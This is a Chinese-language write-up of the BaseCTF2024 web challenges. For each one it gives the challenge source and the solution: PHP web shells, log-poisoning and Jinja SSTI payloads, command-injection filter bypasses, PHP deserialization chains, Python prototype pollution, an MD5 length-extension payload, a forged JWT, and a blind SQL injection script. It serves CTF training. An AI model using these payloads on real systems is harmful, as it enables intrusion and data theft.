BaseCTF2024 web

Web

[Week1] HTTP 是什么呀

GET: ?basectf=%77%65%31%63%25%30%30%6d%65

POST: Base=fl@g

X-Forwarded-For:127.0.0.1

Referer: Base

Cookie: c00k13=i can't eat it

User-Agent: Base

有Location跳转, 抓包得到flag:

QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg==
BaseCTF{dde3f04c-a089-404c-91c6-586c301337cb}

[Week1] 喵喵喵´•ﻌ•`

?DT=system("cat /flag");

[Week1] md5绕过欸

GET: ?name[]=1&name2[]=1
POST: password[]=2&password2[]=2

[Week1] A Dark Room

查看源码可以找到flag

[Week1] upload

没有过滤, 上传一个 1.php文件

访问 uploads/1.php

<?=eval($_POST[1]);?>

直接执行命令就行

[Week1] Aura 酱的礼物

<?php
highlight_file(__FILE__);
// Aura 酱，欢迎回家~
// 这里有一份礼物，请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物，你不是 Aura！');
}

// 礼物收到啦，接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客！');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

// 嘿嘿，接下来要拆开礼物啦，悄悄告诉你，礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

绕过前面的die, 到最后的include() 利用伪协议读取文件

$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客！');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

主要是这块卡住了一下, challenge需要以http://jasmineaura.github.io开头, 用了file_get_contents函数读取了这个地址的内容 , 需要里面的内容包括 已经收到Kengwang的礼物啦 , 但是那个地址里面的内容是不可控的, 里面也不存在一个这样的内容, 所以可以想到需要一个地址里面的内容可控, 这个时候就会想到使用 @ 这个符号,
http://jasmineaura.github.io@www.baidu.com , 这个地址实际上会跳转到 后面那个百度的地址,

所以直接替换为题目的网址,因为题目本身就存在 已经收到Kengwang的礼物啦 这个内容, 满足条件, 绕过进入到后面的include()

payload:

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:35127/&gift=php://filter/convert.base64-encode/resource=flag.php

[Week2] ez_ser

题目:

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么，你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

poc:

<?php
class web{
    public $kw;
}
class re{
    public $chu0;
}
class pwn{
    public $over;
}
class Misc{}

$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();

echo urlencode(serialize($a));

[Week2] 一起吃豆豆

在index.js里面可以直接找到flag, base64解密一下就行

[Week2] 你听不到我的声音

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

shell_exec 执行命令没有回显

使用tee命令
cmd=cat /flag | tee 1.txt
或者使用 ">" 直接将结果重定向到1.txt
cmd=cat /flag > 1.txt

将执行命令的结果输出到1.txt, 访问 /1.txt

[Week2] RCEisamazingwithspace

 <?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

// execute the command
system($cmd); 

不能有space 用${IFS}绕过

cmd=cat${IFS}/flag

[Week2] 所以你说你懂 MD5?

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

最后一步存在一个hash长度扩展攻击

密钥长度指的是$random的字符长度

payload:(使用bp好一点, 直接在浏览器上传参好像不太行)

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=44cb75883537fa9fdf714ac6fe69f908&apppple=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&banananana=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

[Week2] Really EZ POP

题目:

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

poc:

<?php
// highlight_file(__FILE__);

class Sink
{
    private $cmd = 'system("cat /flag");';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
//存在 private 字段, 由于 php 版本低于 7.1+, 所以我们需要保留好他的访问性
    public function setWord($word) //关键, 控制到word的值
    {
        $this->word = $word;
    }

    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->setWord(new Sink());

echo urlencode(serialize($a));

//O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D

[Week2] 数学大师

import re
import requests

req=requests.session()
url='http://challenge.basectf.fun:44878/'

answer=0
while True:
    res=req.post(url=url,data={"answer":answer})
    print(res.text)
    regex=r"(\d*?)(.)(\d*)\?"
    match=re.search(regex,res.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))
    if "BaseCTF" in res.text:
        print(res.text)
        break

[Week3] 滤个不停

过滤了很多的协议, 使用日志包含绕过, 在UA头处写上一句话木马
<?php eval($_POST[1]);?>

POST:
incompetent=HelloWorld&Datch=/var/log/nginx/access.log&1=system("cat /flag");

[Week3] ez_php_jail

$Jail = $_GET['Jail_by.Happy'];

当 php 版本⼩于 8 时，GET 请求的参数名含有 . ，会被转为 _ ，但是如果参数名中有 [ ，这
个 [ 会被直接转为 _ ，但是后⾯如果有 . ，这个 . 就不会被转为 _

?Jail[by.Happy=phpinfo(); 
可以看到被禁用了很多函数
highlight_file配合glob, glob 通常用于匹配符合特定规则的文件路径名, glob("/f*") 会搜索文件系统中所有以 /f 开头的文件或目录。然后，通过 [0] 索引选择第一个匹配的结果

?Jail[by.Happy=highlight_file(glob("/fl*")[0]);

[Week3] 复读机

官方wp : https://j0zr0js7k7j.feishu.cn/wiki/XN3BwnHrZihQ3ZkhEyocb5EJnUd

过滤了很多, 前面主要通过, 字符拼接绕过关键子, 以及 [ ] 绕过 .

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('ls')['rea''d']())%}

过滤了 / 和 \ , 无法进入到根目录拿flag

法一：利用 chr 函数来构造出一个命令

先找到 chr

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr) %}

接着用 chr 搭配上数字构造出想要执行的命令

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

最后把 cmd 作为 popen 的参数传递进去，即可得到 flag

同理，利用 format 来得到 / 也是可以的

BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

法二：利用环境变量的值

查看环境变量，可以看到 OLDPWD=/

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

此时可以直接利用它来切换到根目录，然后再读flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

法三：利用 expr substr 切割出一个 /

比如 pwd 中的第一个字符就是 / ，那用 expr substr 切割出来后，之后就可以像法二那样切换到根目录然后读 flag 了

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

[Week3] 玩原神玩的

题目

<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
  ys_open($_GET['tip']);
} else {
  die("错了！就你还想玩原神？❌❌❌");
}

function ys_open($tip) {
  if ($tip != "我要玩原神") {
    die("我不管，我要玩原神！😭😭😭");
  }
  dumpFlag();
}

function dumpFlag() {
  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
    die("可恶的QQ人！😡😡😡");
  }
  $a = $_POST['m'][0];
  $b = $_POST['m'][1];
  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
    die("某站崩了？肯定是某忽悠干的！😡😡😡");
  }
  include 'flag.php';
  $flag[] = array();
  for ($ii = 0;$ii < sizeof($array);$ii++) {
    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  }
  
  echo json_encode($flag);
}

payload

import requests
import hashlib

url='http://challenge.basectf.fun:46462/?tip=我要玩原神'
payload=''
for i in range(45):
 payload+='len['+str(i)+']=0&'
# print(payload)
header={'Content-Type': 'application/x-www-form-urlencoded'}
payload+='m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966'
# %需要编码

res=requests.post(url=url,data=payload,headers=header)
print(res.text)
#得到flag与索引异或的md5值

flag_enc=["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","072b030ba126b2f4b2374f342be9ed44","093f65e080a295f8076b1c5722a46aa2","a3c65c2974270fd093ee8a9bf8ae7d0b","2723d092b63885e0d7c260cc007e8b9d","72b32a1f754ba1c09b3695e0cb6cde7f","072b030ba126b2f4b2374f342be9ed44","698d51a19d8a121ce581499d7b701668","72b32a1f754ba1c09b3695e0cb6cde7f","7f39f8317fbdb1988ef4c628eba02591","a5771bce93e200c36f7cd9dfd0e5deaa","a5bfc9e07964f8dddeb95fc584cd965d","a5bfc9e07964f8dddeb95fc584cd965d","f7177163c833dff4b38fc8d2872f1ec6","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","73278a4a86960eeb576a8fd4c9ec6997","182be0c5cdcd5072bb1864cdee4d3d6e","da4fb5c6e93e74d3df8527599fa62642","b53b3a3d6ab90ce0268229151c9bde11","4c56ff4ce4aaf9573aa5dff913df997a","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","d9d4f495e875a2e075a1a4a6e1b9770f","c0c7c76d30bd3dcaefc96f40275bdc0a","3295c76acbf4caaed33c36b1b5fc2cb1","ea5d2f1c4608232e07d3aa3d998e5135","735b90b4568125ed6c3f678819b6e058","7cbbc409ec990f19c78c75bd1e06f215","3295c76acbf4caaed33c36b1b5fc2cb1","e2c420d928d4bf8ce0ff2ec19b371514","70efdf2ec9b086079795c442636b55fb","c16a5320fa475530d9583c34fd356ef5","6ea9ab1baa0efb9e19094440c317e21b","02e74f10e0327ad868d138f2b4fdd6f0","d1fe173d08e959397adf34b1d77e88d7","34173cb38f07f89ddbebc2ac9128303f","43ec517d68b6edd3015b3edc9a11367b"]

flag=''
for i in range(45):
    for j in range(126):
        if((hashlib.md5(str(j^i).encode('utf-8'))).hexdigest()==flag_enc[i]):
            flag+=chr(j)

print(flag)
# BaseCTF{42ff51a6-7768-4f9a-b0b0-baaefb7852e5}

[Week4] flag直接读取不就行了？

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了，所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

php的原生类遍历目录和读取文件

GET:
?K=GlobIterator&W=glob:///secret/*
POST:
J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php

[Week4] 圣钥之战1.0

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说：你想read flag吗？
那么圣钥之光必将阻止你！
但是小小的源码没事，因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说：钥匙圣洁无暇，无人可以污染！"
    return "J1ngHong说：圣钥暗淡了一点，你居然污染成功了？"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

python原型链污染, 看到read路由

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说：你想read flag吗？
那么圣钥之光必将阻止你！
但是小小的源码没事，因为你也读不到flag(乐)
{file}
"

可以读取文件, 那么尝试能否读取到 /flag , 这就需要将其给污染了

/pollute路由

merge(json.loads(request.data),instance)

且instance = cls()

可以直接通过 __init__.__globals__获取到全局变量, 然后获取到 __file__属性, 污染它的值

通过 __file__就可以任意读取文件了

{"__init__":{"__globals__":{"__file__":"/flag"}}}

然后再访问 /read 路由就可以得到flag了

[Week4] No JWT

from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')
    
    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403
            
        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

没有对签名算法进行校验

options={"verify_signature": False, "verify_exp": False}

在 login 路由下登录, 会得到token

直接在线网站解密一下, 将 role对应的值改为 admin, 然后再编码得到token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjkzNTQxMH0.epapiT7xS_oQ34oTScv6wdgoH4yQ5-51Q4OoArFIHJw

访问/flag路由, 加上Authorization头 以及相应的token

jwt.decode(token.split(" ")[1]
注意到题目是取的以空格为分割后的第二部分
所以token前面随便加点东西, 然后空格,再是token

[Week4] only one sql

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/select|;|@|\n/i', $sql)) {
    die("你知道的，不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的，不可能有RCE");
}
//flag in ctf.flag
$query = "mysql -u root -p123456 -e \"use ctf;select '没有select，让你执行一句又如何';" . $sql . "\"";
system($query);

可以通过show tables 看到表, 通过show columns from flag 看到列

然后通过时间盲注的方式匹配查找flag

import requests
import string
import time

Str=string.ascii_lowercase+string.digits+'{}'+'-'

url="http://challenge.basectf.fun:26148/?sql=delete from flag where data like '"

end="%' and sleep(2)"

flag=''
for i in range(60):
    for j in Str:
        payload = url + flag + j + end
        Stime = time.time()
        res = requests.get(url=payload,proxies={"http": None, "https": None})
        Etime = time.time()
        if Etime - Stime > 1:
            flag += j
            print(flag)
            break
# basectf{2c49fcf8-afe0-43aa-a1b2-f978aada8667}

[Fin] Back to the future

抓个包, 返回包有一个比较奇怪的头, 以及它的值 ETag: "66db1990-4d"

访问了一下 url/66db1990-4d, 竟然是一个phpinfo() , 不过对这道题好像没用

访问 /robots.txt , 给了一个 /.git

可以通过 GitHacker 来获取 .git 的全部内容

工具: https://github.com/WangYihang/GitHacker

githacker --url http://challenge.basectf.fun:44943/ --output result

cd result
cd 8fff59a223ea872b77afc3587c59ebd6 
git log  #查看 git 历史
git checkout 9d85f10e0192ef630e10d7f876a117db41c30417  #切换到相应的分支
ls --> flag.txt
cat flag.txt

[Fin] 1z_php

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧？
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker？那请去外场等候！");
        }
    }
    echo "只有真正的hacker才能拿到flag！"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢？");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认，还想要flag呢？");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker，你得不到flag的！");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞？。？");
}
# 觉得困难的话就直接把shell拿去用吧，不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

preg_match回溯次数的绕过: 如果回溯次数超过1000000 , preg_match会返回false

利用php原生类 SplFileObject 读取flag文件

import requests

url='http://challenge.basectf.fun:46032/?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString'

data= {"try":"1"*1000001+"HACKER"}
res=requests.post(url=url,data=data,proxies={"http": None, "https": None})
print(res.text)

[Fin] Jinja Mark

在/flag路由下, 通过burp爆破出幸运数字, 拿到一部分源码

有一个merge函数, 存在python的原型链污染

BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

在/magic路由下污染, 因为在/index路由下{被过滤了, 经过污染后, 通过<<替代{``{

{"__init__":{"__globals__":{"app":{"jinja_env":{"variable_start_string" : "<<","variable_end_string":">>"}}}}}

在/index路由下

<<lipsum.__globals__['os'].popen('cat /flag').read()>>

[Fin] Lucky Number

/flag 路由下给了源码

from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯，我已经知道你要创造东西了，但是你怎么不告诉我要创造什么？", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number，请拿好，去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗？", "lucky_number": "nope"}

python的原型链污染, 最终需要创造出那个幸运数字:5346

需要进入到heaben.py里面污染, 所以要通过sys模块获取, 然后当前代码中也没有导入sys模块,

所以采用**__spec__内置属性来获取sys模块, 也就是 <模块名>.__spec__.__init__.__globals__['sys']**获取到sys模块

{
    "__init__": {
        "__globals__": {
            "json":{
                "__spec__":{
                    "__init__" : {
                        "__globals__" : {
                            "sys" : {
                                "modules" : {
                                    "heaven" : {
                                        "create" : {
                                              "__kwdefaults__" : {
                                              "confirm" : true,
                                              "lucky_number" : "5346"
                                             } 
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

污染后提示去/check检查, 然后让到/ssSstTti1 下进行ssti

{{lipsum.__globals__['os'].popen('cat /flag').read()}}

[Fin] RCE or Sql Inject

<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
    die("你知道的，不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的，不可能有RCE");
}
